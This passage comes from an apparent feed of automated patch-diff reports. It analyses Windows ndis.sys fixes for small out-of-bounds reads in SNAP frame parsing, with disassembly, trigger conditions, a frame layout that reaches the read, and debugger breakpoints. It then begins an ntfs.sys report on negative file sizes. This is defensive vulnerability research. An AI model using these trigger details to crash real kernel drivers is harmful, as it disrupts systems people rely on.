&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c0012ca8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;16&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ADDED&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;require&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;remaining &amp;gt;= 22&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c0012cab&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c0012e0f&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;to&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;small&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reject&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c0012cb3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;Eh&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;AAh&lt;/span&gt;
&lt;span class="mf"&gt;...&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c0012cc8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;14&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reached&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;on&lt;/span&gt;&lt;span class="n"&gt;ly&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;remaining &amp;gt;= 22&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Here &lt;code&gt;ebp&lt;/code&gt; holds the remaining mapped length, so &lt;code&gt;cmp ebp, 16h&lt;/code&gt; bounds the offset-0x14 read, mirroring the Finding 1 fix.&lt;/p&gt;
&lt;h3&gt;Finding 2: Buffer Validation&lt;/h3&gt;
&lt;p&gt;The added check in &lt;code&gt;ndis_patched.sys&lt;/code&gt; (&lt;code&gt;ndisValidateEmbeddedBufferBounds&lt;/code&gt;, &lt;code&gt;0x1C010C3CC&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c010c3f3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;arg_20&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;minimum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argument&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c010c3f7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c010c3f9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c010c401&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;minimum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skip&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c010c3fb&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;arg_28&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;vs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;minimum&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c010c3ff&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c010c447&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;minimum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reject&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The unpatched &lt;code&gt;0x1C0116760&lt;/code&gt; has no equivalent instructions; it performs only the containment and boundary/alignment comparisons before returning the sub-buffer pointer. The parent-buffer containment check (&lt;code&gt;sub_end &amp;lt;= parent_end&lt;/code&gt;) is present and identical in both builds.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;h3&gt;Finding 1 (Receive-verifier OOB read)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;NDIS datapath verification must be enabled for the target adapter (e.g. via Driver Verifier's NDIS/datapath verification). Without it, &lt;code&gt;ndisNblVerifyRxIndication&lt;/code&gt; and therefore &lt;code&gt;ndisParseReceivedNBL&lt;/code&gt; are never called.&lt;/li&gt;
&lt;li&gt;A frame indicated on that adapter must have a &lt;code&gt;NET_BUFFER&lt;/code&gt; whose remaining mapped length (&lt;code&gt;ByteCount - CurrentMdlOffset&lt;/code&gt;) is between 14 and 21 bytes.&lt;/li&gt;
&lt;li&gt;The mapped data must present an 802.3 length field &lt;code&gt;&amp;lt;= 0x600&lt;/code&gt; at offset &lt;code&gt;0xC&lt;/code&gt; and the SNAP markers &lt;code&gt;0xAA&lt;/code&gt;, &lt;code&gt;0xAA&lt;/code&gt;, &lt;code&gt;0x03&lt;/code&gt; at offsets &lt;code&gt;0xE&lt;/code&gt;, &lt;code&gt;0xF&lt;/code&gt;, &lt;code&gt;0x10&lt;/code&gt;, so the offset-0x14 read is reached.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable effect:&lt;/strong&gt; the routine reads up to ~8 bytes past the valid MDL data. The value is written to the parser's 16-bit EtherType output used by the verifier; it is not returned to any external party. When datapath verification is combined with Special Pool, a read that crosses the allocation boundary is caught and bugchecks.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Finding 3 (Receive NBL-sort OOB read)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;A miniport indicates a received &lt;code&gt;NET_BUFFER_LIST&lt;/code&gt; up the stack (&lt;code&gt;ndisMDispatchReceiveNetBufferLists&lt;/code&gt; and the related dispatch routines listed above). No datapath-verification flag is required; the L2 classification/sort parse runs on the ordinary receive path (unless a precomputed protocol value is already set on the tracker).&lt;/li&gt;
&lt;li&gt;The indicated &lt;code&gt;NET_BUFFER&lt;/code&gt; must have a remaining mapped length (&lt;code&gt;ByteCount - CurrentMdlOffset&lt;/code&gt;) between 14 and 21 bytes, present an 802.3 length field &lt;code&gt;&amp;lt;= 0x600&lt;/code&gt; at data offset &lt;code&gt;0xC&lt;/code&gt;, and carry the SNAP markers &lt;code&gt;0xAA&lt;/code&gt;, &lt;code&gt;0xAA&lt;/code&gt;, &lt;code&gt;0x03&lt;/code&gt; at offsets &lt;code&gt;0xE&lt;/code&gt;, &lt;code&gt;0xF&lt;/code&gt;, &lt;code&gt;0x10&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable effect:&lt;/strong&gt; the routine reads up to ~8 bytes past the valid MDL data at offset &lt;code&gt;0x14&lt;/code&gt;. The value becomes the NBL's internal protocol classification and is not returned to the frame sender. On a typical DMA receive buffer larger than the frame the read stays inside the buffer (a stale-byte misread); it crosses the allocation boundary only when the MDL is sized to the frame with no following mapped page, in which case a boundary-crossing read under Special Pool bugchecks.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Finding 2 (Local descriptor-offset validation)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Open a handle to the NDIS device and issue an &lt;code&gt;IRP_MJ_DEVICE_CONTROL&lt;/code&gt; request routed to &lt;code&gt;ndisHandlePnPRequest&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The input buffer must contain an &lt;code&gt;NDIS_VAR_DATA_DESC&lt;/code&gt; whose &lt;code&gt;Offset&lt;/code&gt; field points before the fixed request header (&lt;code&gt;Offset &amp;lt; 0x28&lt;/code&gt; for the 32-bit thunk variant, &lt;code&gt;&amp;lt; 0x48&lt;/code&gt; for the native variant) while still lying inside the parent buffer.&lt;/li&gt;
&lt;li&gt;In the unpatched build the validator accepts such a descriptor, so the resulting &lt;code&gt;UNICODE_STRING&lt;/code&gt; overlaps the fixed structure fields. All reads remain inside the parent input buffer (containment is enforced), so this is a structural/aliasing issue, not an out-of-bounds access. The patched build rejects it.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Finding 1 (receive-verifier OOB read):&lt;/strong&gt; A bounded read of up to ~8 bytes immediately following the packet data in the MDL-mapped region. The value influences only the verifier's internal EtherType classification and is not disclosed to the frame sender. Its practical effect is a possible bugcheck when datapath verification runs with Special Pool, and otherwise a benign misread. It is gated behind a non-default diagnostic mode, so it is not a remote information-disclosure or denial-of-service primitive against a default configuration.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding 1 (NULL guard):&lt;/strong&gt; The added &lt;code&gt;CurrentMdl == NULL&lt;/code&gt; check is defense in depth. A NULL &lt;code&gt;CurrentMdl&lt;/code&gt; on an indicated &lt;code&gt;NET_BUFFER&lt;/code&gt; would be a miniport defect rather than attacker-controlled input.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding 3 (receive NBL-sort OOB read):&lt;/strong&gt; The same bounded read of up to ~8 bytes following the packet data, but on the standard receive path rather than the verifier-only path. The value influences only the NBL's internal protocol classification and is not disclosed to the frame sender. On typical hardware receive buffers the read stays within the DMA buffer; its practical worst case is a bugcheck under Special Pool with a frame-sized MDL. The added &lt;code&gt;CurrentMdl == NULL&lt;/code&gt; guard is defense in depth, as in Finding 1.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding 2:&lt;/strong&gt; No out-of-bounds primitive is demonstrable; the parent-buffer containment check bounds every access in both builds. The added minimum-offset check prevents an embedded descriptor's variable data from overlapping the fixed request header.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger Notes&lt;/h2&gt;
&lt;p&gt;For a follow-on agent with a kernel debugger attached to &lt;code&gt;ndis_unpatched.sys&lt;/code&gt;, and with NDIS datapath verification enabled on the target adapter, Finding 1 can be observed at:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ndis!ndisParseReceivedNBL          (0x1c006e370)  entry; rdx = NET_BUFFER_LIST
ndis!ndisParseReceivedNBL+0x3b     (0x1c006e3ab)  mov rcx,[rax+8] loads CurrentMdl (NULL -&amp;gt; fault at +0x3f)
ndis!ndisParseReceivedNBL+0x42     (0x1c006e3b2)  cmp edi,0xe ; edi = ByteCount
ndis!ndisParseReceivedNBL+0xe3     (0x1c006e453)  movzx eax,word [rdx+0x14] ; the OOB read
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;At &lt;code&gt;+0x3b&lt;/code&gt;, if &lt;code&gt;[rax+8]&lt;/code&gt; (&lt;code&gt;CurrentMdl&lt;/code&gt;) is NULL the following &lt;code&gt;mov edi,[rcx+28h]&lt;/code&gt; at &lt;code&gt;+0x3f&lt;/code&gt; faults.&lt;/li&gt;
&lt;li&gt;At &lt;code&gt;+0x42&lt;/code&gt;, &lt;code&gt;edi&lt;/code&gt; is &lt;code&gt;ByteCount&lt;/code&gt;; the SNAP path is entered when the remaining length is in &lt;code&gt;[0xE, 0x15]&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;At &lt;code&gt;+0xe3&lt;/code&gt;, &lt;code&gt;rdx&lt;/code&gt; points at the mapped data; &lt;code&gt;rdx+0x14&lt;/code&gt; is the 2-byte read that can exceed the valid data when the remaining length is below &lt;code&gt;0x16&lt;/code&gt;. Under Special Pool a boundary-crossing read bugchecks (&lt;code&gt;PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt;, 0x50).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A 20-byte 802.3 + LLC/SNAP frame (6-byte destination MAC, 6-byte source MAC, a length field &lt;code&gt;&amp;lt;= 0x600&lt;/code&gt;, &lt;code&gt;AA AA 03&lt;/code&gt;, then padding) indicated on a verification-enabled adapter reaches &lt;code&gt;+0xe3&lt;/code&gt; with &lt;code&gt;rdx+0x14&lt;/code&gt; at the last valid byte and one byte beyond.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;p&gt;The patch diff contains 42 changed functions.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Security-relevant logic change:&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ndisSortNetBufferLists&lt;/code&gt; (&lt;code&gt;0x1C0012960&lt;/code&gt; → &lt;code&gt;0x1C0012B00&lt;/code&gt;): added NULL guard on &lt;code&gt;CurrentMdl&lt;/code&gt; and a &lt;code&gt;remaining &amp;gt;= 0x16&lt;/code&gt; check before the SNAP offset-0x14 read (Finding 3); reachable on the ordinary receive path.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ndisParseReceivedNBL&lt;/code&gt; (&lt;code&gt;0x1C006E370&lt;/code&gt; → &lt;code&gt;0x1C00141EC&lt;/code&gt;): added NULL guard on &lt;code&gt;CurrentMdl&lt;/code&gt; and a &lt;code&gt;remaining &amp;gt;= 0x16&lt;/code&gt; check before the SNAP offset-0x14 read (Finding 1); verifier-gated.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ndisValidateEmbeddedBufferBounds&lt;/code&gt; (&lt;code&gt;0x1C0116760&lt;/code&gt; → &lt;code&gt;0x1C010C3CC&lt;/code&gt;): added a minimum-offset parameter and &lt;code&gt;Offset &amp;lt; minimum&lt;/code&gt; rejection (Finding 2).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Receive-dispatch wrappers adjusted for the &lt;code&gt;ndisSortNetBufferLists&lt;/code&gt; signature change (not independent fixes):&lt;/strong&gt; &lt;code&gt;ndisMDispatchReceiveNetBufferLists&lt;/code&gt;, &lt;code&gt;ndisMDispatchReceiveNetBufferListsWithLock&lt;/code&gt;, &lt;code&gt;ndisMIndicateSplitNblChain&lt;/code&gt;, and &lt;code&gt;ndisDoPeriodicReceivesIndication&lt;/code&gt; were recompiled to match the changed &lt;code&gt;ndisSortNetBufferLists&lt;/code&gt;; their own logic is unchanged.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Callers adjusted to pass the new minimum (not independent fixes):&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ndisValidateNdisVarDataDescInputString&lt;/code&gt; (&lt;code&gt;0x1C01166DC&lt;/code&gt; → &lt;code&gt;0x1C010C4E0&lt;/code&gt;): passes minimum &lt;code&gt;0x48&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ndisValidateNdisVarDataDesc32InputString&lt;/code&gt; (&lt;code&gt;0x1C012DF58&lt;/code&gt; → &lt;code&gt;0x1C010C458&lt;/code&gt;): passes minimum &lt;code&gt;0x28&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ndisValidateNdisOffsetAndLengthInputBufferBounds&lt;/code&gt; (&lt;code&gt;0x1C012DEA8&lt;/code&gt; → &lt;code&gt;0x1C012EEF8&lt;/code&gt;): passes minimum &lt;code&gt;0x0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ndisHandlePnPRequest&lt;/code&gt; (&lt;code&gt;0x1C0144008&lt;/code&gt; → &lt;code&gt;0x1C0145008&lt;/code&gt;): recompiled/relocated (WPP tracing and block reordering). Its input-buffer minimum-size (&lt;code&gt;0x48&lt;/code&gt;), integer-overflow, and &lt;code&gt;IoIs32bitProcess&lt;/code&gt; thunk checks are present in both builds; only the wrapper calls now carry the new minimum.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ndisNblVerifyRxIndication&lt;/code&gt; (&lt;code&gt;0x1C00722BC&lt;/code&gt;): register-allocation change following the &lt;code&gt;ndisParseReceivedNBL&lt;/code&gt; signature change.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WIL feature-staging migration (not security fixes):&lt;/strong&gt; a cluster of functions (e.g. &lt;code&gt;0x1C0033984&lt;/code&gt;, &lt;code&gt;0x1C0035D0C&lt;/code&gt;, &lt;code&gt;0x1C00751E0&lt;/code&gt;, &lt;code&gt;0x1C007F214&lt;/code&gt;, &lt;code&gt;0x1C0134C10&lt;/code&gt;, &lt;code&gt;0x1C0152E1C&lt;/code&gt;, &lt;code&gt;0x1C01445F8&lt;/code&gt;) moved from querying global feature configuration (&lt;code&gt;RtlQueryFeatureConfiguration&lt;/code&gt;) to a per-adapter atomic field check.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tracing / register-reallocation churn:&lt;/strong&gt; &lt;code&gt;0x1C00B7CBC&lt;/code&gt;, &lt;code&gt;0x1C0002B08&lt;/code&gt;, &lt;code&gt;0x1C0002AE0&lt;/code&gt;, &lt;code&gt;0x1C0160A20&lt;/code&gt;, and similar exhibit recompilation noise with no security-relevant logical change.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;There are no added or removed functions in the provided diff. The patch modifies existing logic and relocates several functions without introducing or removing dispatch routines.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High. All three changes are confirmed against the decompilation and disassembly of both builds. The reachability of &lt;code&gt;ndisParseReceivedNBL&lt;/code&gt; (single verifier-only caller, gated by the datapath-verification flag) and of &lt;code&gt;ndisSortNetBufferLists&lt;/code&gt; (called from the standard miniport receive-indication dispatch) is confirmed at every call site.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Caveats:&lt;/strong&gt;&lt;ol&gt;
&lt;li&gt;Findings 1 and 3 are the same out-of-bounds read fixed in two parsers. Finding 1 (&lt;code&gt;ndisParseReceivedNBL&lt;/code&gt;) is reachable only when NDIS datapath verification is enabled and is not exposed on the default receive path. Finding 3 (&lt;code&gt;ndisSortNetBufferLists&lt;/code&gt;) is on the ordinary receive path but the out-of-bounds value is used only for internal NBL classification, is not disclosed to the sender, and typically stays within the DMA receive buffer; its worst realistic impact is a bugcheck under Special Pool with a frame-sized MDL. Both are rated Low.&lt;/li&gt;
&lt;li&gt;Finding 2 is input-validation hardening. The parent-buffer containment check bounds every access in both builds, so no out-of-bounds read is demonstrable; the added check prevents an embedded descriptor's variable data from overlapping the fixed request header.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>ntfs.sys — Negative file size/offset accepted in NtSetInformationFile handlers (CWE-839) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/ntfs_15bc0fdb-ntfs-report-20260703-144115.html" rel="alternate"/><published>2026-07-03T00:00:00-07:00</published><updated>2026-07-03T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-07-03:/drift-corpus/item/ntfs_15bc0fdb-ntfs-report-20260703-144115.html</id><summary type="html">&lt;p&gt;KB5078885&lt;/p&gt;</summary><content type="html">&lt;hr&gt;
&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unpatched binary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ntfs_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched binary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ntfs_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Overall similarity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0.9864 (98.64%)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Matched functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;4,197&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Security-relevant changed functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;4 (&lt;code&gt;NtfsSetEndOfFileInfo&lt;/code&gt;, &lt;code&gt;NtfsSetAllocationInfo&lt;/code&gt;, &lt;code&gt;NtfsSetPositionInfo&lt;/code&gt;, and their dispatcher &lt;code&gt;NtfsCommonSetInformation&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch adds a minimum-value (sign) check on the attacker-supplied 64-bit &lt;code&gt;LARGE_INTEGER&lt;/code&gt; that several &lt;code&gt;NtSetInformationFile&lt;/code&gt; handlers read from &lt;code&gt;Irp-&amp;gt;AssociatedIrp.SystemBuffer&lt;/code&gt;. Before the patch, the new end-of-file, allocation size, and file position were validated only against an upper bound using a &lt;strong&gt;signed&lt;/strong&gt; comparison, so a negative value (bit 63 set) passed the check and was committed into the file's size/position bookkeeping. The added checks reject negative values with &lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt;. Each check is gated behind the WIL feature flag &lt;code&gt;Feature_2681941305&lt;/code&gt; (staged rollout): when the flag is off, the pre-patch behavior remains.&lt;/p&gt;
&lt;p&gt;This is &lt;strong&gt;not&lt;/strong&gt; an FSCTL / &lt;code&gt;IRP_MJ_FILE_SYSTEM_CONTROL&lt;/code&gt; issue. The affected code is reached through &lt;code&gt;NtSetInformationFile&lt;/code&gt; / &lt;code&gt;ZwSetInformationFile&lt;/code&gt; (&lt;code&gt;IRP_MJ_SET_INFORMATION&lt;/code&gt;).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;p&gt;The three findings below are one coordinated change: a missing lower-bound check on a user-controlled 64-bit size/offset field, added to three &lt;code&gt;NtfsCommonSetInformation&lt;/code&gt; sub-handlers under the same feature flag.&lt;/p&gt;
&lt;h3&gt;Finding #1 — Negative &lt;code&gt;EndOfFile&lt;/code&gt; accepted (&lt;code&gt;NtfsSetEndOfFileInfo&lt;/code&gt;)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CWE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CWE-839 (Numeric Range Comparison Without Minimum Check)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NtfsSetEndOfFileInfo&lt;/code&gt; @ &lt;code&gt;0x1C00E8EE0&lt;/code&gt; (unpatched) / &lt;code&gt;0x1C00E8EB0&lt;/code&gt; (patched)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Entry point&lt;/strong&gt;&lt;/td&gt;
